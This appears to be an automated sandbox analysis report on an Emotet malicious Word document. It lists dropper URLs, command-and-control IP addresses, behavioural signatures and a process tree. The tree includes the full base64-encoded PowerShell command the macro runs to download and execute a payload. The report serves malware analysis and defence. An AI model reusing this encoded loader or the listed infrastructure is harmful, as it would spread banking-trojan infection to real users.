Overview

overview

10

Static

static

8

emotet_e1_...oc.doc

windows7_x64

10

emotet_e1_...oc.doc

windows10_x64

10

Analysis

  • max time kernel
    69s
  • max time network
    155s
  • platform
    windows7_x64
  • resource
    win7v200722
  • submitted
    03/09/2020, 05:59

Sharing

Copy URL Twitter E-mail
Report Analysis Logs

General

  • Target
    emotet_e1_610f9b964005fb3e89a45ddeb0555cb5137065429a651730c5aa68bfb59fcdfc_2020-09-03__055800._doc.doc
  • Size 283KB
  • Sample200903-lnj78abjvx
  • SHA256 610f9b964005fb3e89a45ddeb0555cb5137065429a651730c5aa68bfb59fcdfc
  • MD5 SHA1 SHA512
Score
10/10
trojanbankeremotet

Malware Config

Extracted

Language

  • ps1

Source
URLs
  • exe.dropper

    http://crbremen.com/WordPress_01/A/
  • exe.dropper

    http://creixenti.com/stations/rV/
  • exe.dropper

    http://e-brand.org/cgi-bin/oJ/
  • exe.dropper

    http://earthinnovation.org/gcfimpact/8h/
  • exe.dropper

    http://cooptotoral.com/Admin/6BO/
  • exe.dropper

    http://commeavant.com/Harvey_files/b/
  • exe.dropper

    http://fruehling.tv/arbeit/zR/

Extracted

Family

  • emotet

C2

  • 50.121.220.50:80

  • 51.75.33.122:80

  • 54.37.42.48:8080

  • 91.121.54.71:8080

  • 45.16.226.117:443

  • 68.69.155.181:80

  • 213.60.96.117:80

  • 77.55.211.77:8080

  • 152.169.22.67:80

  • 110.142.219.51:80

  • 2.47.112.152:80

  • 206.15.68.237:443

  • 217.13.106.14:8080

  • 191.99.160.58:80

  • 189.131.57.131:80

  • 213.197.182.158:8080

  • 94.176.234.118:443

  • 61.92.159.208:8080

  • 190.128.173.10:80

  • 219.92.8.17:8080

rsa_pubkey.plain

Signatures

  • Emotet

    Emotet is a trojan that is primarily spread through spam emails.

    trojanbankeremotet
  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Blacklisted process makes network request 1 IoCs
  • Executes dropped EXE 2 IoCs
  • Drops file in System32 directory 2 IoCs
  • Office loads VBA resources, possible macro or embedded object present
  • Modifies registry class 280 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 4 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of SetWindowsHookEx 2 IoCs
  • Suspicious use of WriteProcessMemory 8 IoCs

Processes

  • C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
    "C:\Program Files\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\emotet_e1_610f9b964005fb3e89a45ddeb0555cb5137065429a651730c5aa68bfb59fcdfc_2020-09-03__055800._doc.doc"
    1⤵
    • Modifies registry class
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    PID:612
  • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -e JABWAG0AcABiAGEAZgAzAD0AKAAoACcAUAAnACsAJwBlAHIAJwApACsAKAAnAGUAJwArACcAdwBrAHkAJwApACkAOwAmACgAJwBuAGUAdwAtACcAKwAnAGkAJwArACcAdABlAG0AJwApACAAJABFAG4AdgA6AHUAcwBFAFIAUAByAG8ARgBJAEwAZQBcAHcAWQBoAFoATwBiAFgAXABjAGEAMQBqAEgAVABWAFwAIAAtAGkAdABlAG0AdAB5AHAAZQAgAEQASQByAGUAYwB0AE8AcgB5ADsAWwBOAGUAdAAuAFMAZQByAHYAaQBjAGUAUABvAGkAbgB0AE0AYQBuAGEAZwBlAHIAXQA6ADoAIgBTAGUAQwBgAFUAUgBJAGAAVABZAFAAUgBvAGAAVABPAGAAYwBvAEwAIgAgAD0AIAAoACcAdAAnACsAKAAnAGwAJwArACcAcwAxADIALAAnACkAKwAnACAAJwArACcAdAAnACsAKAAnAGwAcwAxACcAKwAnADEALAAgAHQAbAAnACsAJwBzACcAKQApADsAJABJAGgAcwBtAHcAcAB4ACAAPQAgACgAKAAnAE0AJwArACcAeQBmACcAKQArACgAJwA1AGcAJwArACcAZwAnACkAKQA7ACQASQA2AGsAZwBtAGYANAA9ACgAJwBVAHcAJwArACgAJwBwACcAKwAnAHMAagBfACcAKQArACcAdgAnACkAOwAkAEkAcwBfAGoAbgA3AGIAPQAkAGUAbgB2ADoAdQBzAGUAcgBwAHIAbwBmAGkAbABlACsAKAAoACgAJwBNAGkAJwArACcAdQBXACcAKQArACgAJwB5ACcAKwAnAGgAegBvAGIAJwApACsAJwB4ACcAKwAnAE0AaQAnACsAJwB1AEMAJwArACgAJwBhADEAagBoAHQAJwArACcAdgAnACkAKwAoACcATQBpACcAKwAnAHUAJwApACkALgAiAFIAYABlAFAAYABMAGEAYwBFACIAKAAoAFsAYwBIAEEAUgBdADcANwArAFsAYwBIAEEAUgBdADEAMAA1ACsAWwBjAEgAQQBSAF0AMQAxADcAKQAsACcAXAAnACkAKQArACQASQBoAHMAbQB3AHAAeAArACgAJwAuAGUAJwArACcAeABlACcAKQA7ACQAUwA4AHgAZABqAHYAcwA9ACgAJwBVAG0AJwArACgAJwB1ACcAKwAnADMAdABvADMAJwApACkAOwAkAEwAMgB2ADMAdABhAG8APQAmACgAJwBuAGUAJwArACcAdwAtAG8AYgAnACsAJwBqAGUAYwAnACsAJwB0ACcAKQAgAG4AZQB0AC4AVwBlAGIAYwBsAGkAZQBOAHQAOwAkAEwAeABtADMAbABkAHcAPQAoACcAaAAnACsAKAAnAHQAJwArACcAdABwACcAKQArACcAOgAnACsAKAAnAC8AJwArACcALwBjAHIAYgAnACsAJwByACcAKQArACcAZQAnACsAJwBtAGUAJwArACgAJwBuAC4AJwArACcAYwAnACsAJwBvAG0ALwBXAG8AJwApACsAKAAnAHIAZABQAHIAZQAnACsAJwBzACcAKwAnAHMAXwAwADEALwBBAC8AKgAnACsAJwBoAHQAdAAnACkAKwAnAHAAJwArACcAOgAnACsAKAAnAC8ALwAnACsAJwBjACcAKQArACcAcgAnACsAJwBlACcAKwAoACcAaQB4ACcAKwAnAGUAJwApACsAJwBuAHQAJwArACgAJwBpAC4AYwBvAG0ALwAnACsAJwBzACcAKQArACcAdAAnACsAJwBhACcAKwAnAHQAJwArACcAaQBvACcAKwAnAG4AJwArACgAJwBzAC8AJwArACcAcgBWAC8AKgAnACsAJwBoACcAKQArACcAdAAnACsAJwB0ACcAKwAnAHAAOgAnACsAJwAvACcAKwAoACcALwAnACsAJwBlAC0AYgAnACsAJwByAGEAbgBkACcAKQArACgAJwAuAG8AcgAnACsAJwBnACcAKQArACgAJwAvAGMAZwAnACsAJwBpACcAKQArACcALQAnACsAKAAnAGIAaQBuAC8AJwArACcAbwAnACsAJwBKAC8AJwApACsAJwAqACcAKwAoACcAaAAnACsAJwB0AHQAJwApACsAJwBwADoAJwArACgAJwAvAC8AZQBhAHIAJwArACcAdABoAGkAJwApACsAJwBuAG4AJwArACcAbwAnACsAKAAnAHYAJwArACcAYQB0AGkAbwAnACsAJwBuAC4AbwByAGcALwBnACcAKwAnAGMAJwApACsAKAAnAGYAJwArACcAaQBtAHAAYQAnACkAKwAoACcAYwB0ACcAKwAnAC8AOAAnACsAJwBoAC8AKgBoAHQAdABwACcAKQArACcAOgAvACcAKwAoACcALwBjAG8AJwArACcAbwAnACkAKwAoACcAcAB0ACcAKwAnAG8AdABvACcAKQArACcAcgBhACcAKwAnAGwALgAnACsAJwBjACcAKwAoACcAbwBtACcAKwAnAC8AQQBkACcAKQArACgAJwBtAGkAbgAvACcAKwAnADYAJwApACsAKAAnAEIAJwArACcATwAvACcAKQArACcAKgBoACcAKwAnAHQAJwArACgAJwB0AHAAJwArACcAOgAnACkAKwAoACcALwAvAGMAJwArACcAbwAnACkAKwAoACcAbQBtACcAKwAnAGUAYQAnACsAJwB2AGEAbgB0AC4AYwBvACcAKQArACcAbQAvACcAKwAnAEgAJwArACcAYQAnACsAKAAnAHIAJwArACcAdgBlACcAKQArACgAJwB5AF8AZgBpAGwAJwArACcAZQBzACcAKwAnAC8AYgAnACkAKwAnAC8AJwArACcAKgAnACsAKAAnAGgAdAB0ACcAKwAnAHAAOgAnACkAKwAoACcALwAvAGYAJwArACcAcgAnACkAKwAoACcAdQBlAGgAbABpAG4AZwAuACcAKwAnAHQAJwArACcAdgAnACkAKwAnAC8AYQAnACsAKAAnAHIAJwArACcAYgBlAGkAJwApACsAKAAnAHQALwAnACsAJwB6AFIALwAnACkAKQAuACIAUwBgAFAAbABpAHQAIgAoAFsAYwBoAGEAcgBdADQAMgApADsAJABSAHIAZQBnADIAXwBwAD0AKAAoACcAVQAnACsAJwBkAHoAcwAnACkAKwAoACcAZwAzACcAKwAnAG8AJwApACkAOwBmAG8AcgBlAGEAYwBoACgAJABQAGQAaABfAHIAbgA3ACAAaQBuACAAJABMAHgAbQAzAGwAZAB3ACkAewB0AHIAeQB7ACQATAAyAHYAMwB0AGEAbwAuACIAZABgAG8AYAB3AG4ATABvAGEARABGAEkATABFACIAKAAkAFAAZABoAF8AcgBuADcALAAgACQASQBzAF8AagBuADcAYgApADsAJABYAGUAcQA5AHQAZAB3AD0AKAAnAEoAJwArACcAZwBuACcAKwAoACcAXwB3ACcAKwAnAGIAcwAnACkAKQA7AEkAZgAgACgAKAAmACgAJwBHAGUAdAAtAEkAJwArACcAdABlAG0AJwApACAAJABJAHMAXwBqAG4ANwBiACkALgAiAEwAYABlAG4AZwBgAFQAaAAiACAALQBnAGUAIAAyADcAOAA3ADEAKQAgAHsAJgAoACcASQAnACsAJwBuACcAKwAnAHYAbwBrACcAKwAnAGUALQBJAHQAZQBtACcAKQAoACQASQBzAF8AagBuADcAYgApADsAJABOADUANAA3AHAANAAxAD0AKAAnAEYAJwArACgAJwBsAGcAJwArACcANwBhADgAYQAnACkAKQA7AGIAcgBlAGEAawA7ACQASgA3AHAAMAA2AG4AdgA9ACgAKAAnAEoANQB1AHcAJwArACcAcQAnACkAKwAnADUAMgAnACkAfQB9AGMAYQB0AGMAaAB7AH0AfQAkAEgAeQB5ADAAdwBsAHIAPQAoACcAUwByACcAKwAoACcAbQAzACcAKwAnAHAANgBtACcAKQApAA==
    1⤵
    • Process spawned unexpected child process
    • Blacklisted process makes network request
    • Drops file in System32 directory
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:1548
    • C:\Users\Admin\Wyhzobx\Ca1jhtv\Myf5gg.exe
      "C:\Users\Admin\Wyhzobx\Ca1jhtv\Myf5gg.exe"
      2⤵
      • Executes dropped EXE
      • Drops file in System32 directory
      • Suspicious use of WriteProcessMemory
      PID:572
      • C:\Windows\SysWOW64\mssign32\wlanext.exe
        "C:\Windows\SysWOW64\mssign32\wlanext.exe"
        3⤵
        • Executes dropped EXE
        • Suspicious behavior: EnumeratesProcesses
        PID:1296

Network

        MITRE ATT&CK Matrix

        Replay Monitor

        Loading Replay Monitor...

        Downloads

        memory/572-15-0x00000000001F0000-0x00000000001FC000-memory.dmp
        Download

        memory/612-2-0x0000000008BD0000-0x0000000008BD4000-memory.dmp
        Download

        memory/612-3-0x0000000007120000-0x0000000007320000-memory.dmp
        Download

        memory/612-4-0x000000000B180000-0x000000000B184000-memory.dmp
        Download

        memory/612-0-0x000000000041C000-0x0000000000420000-memory.dmp
        Download

        memory/904-20-0x000007FEF6350000-0x000007FEF65CA000-memory.dmp
        Download

        memory/1296-19-0x00000000001C0000-0x00000000001CC000-memory.dmp
        Download

        memory/1548-6-0x000007FEE90F0000-0x000007FEE9ADC000-memory.dmp
        Download

        memory/1548-12-0x000000001B7C0000-0x000000001B7C1000-memory.dmp
        Download

        memory/1548-11-0x000000001ABE0000-0x000000001ABE1000-memory.dmp
        Download

        memory/1548-10-0x0000000001E30000-0x0000000001E31000-memory.dmp
        Download

        memory/1548-9-0x00000000022F0000-0x00000000022F1000-memory.dmp
        Download

        memory/1548-8-0x000000001AD40000-0x000000001AD41000-memory.dmp
        Download

        memory/1548-7-0x0000000001D60000-0x0000000001D61000-memory.dmp
        Download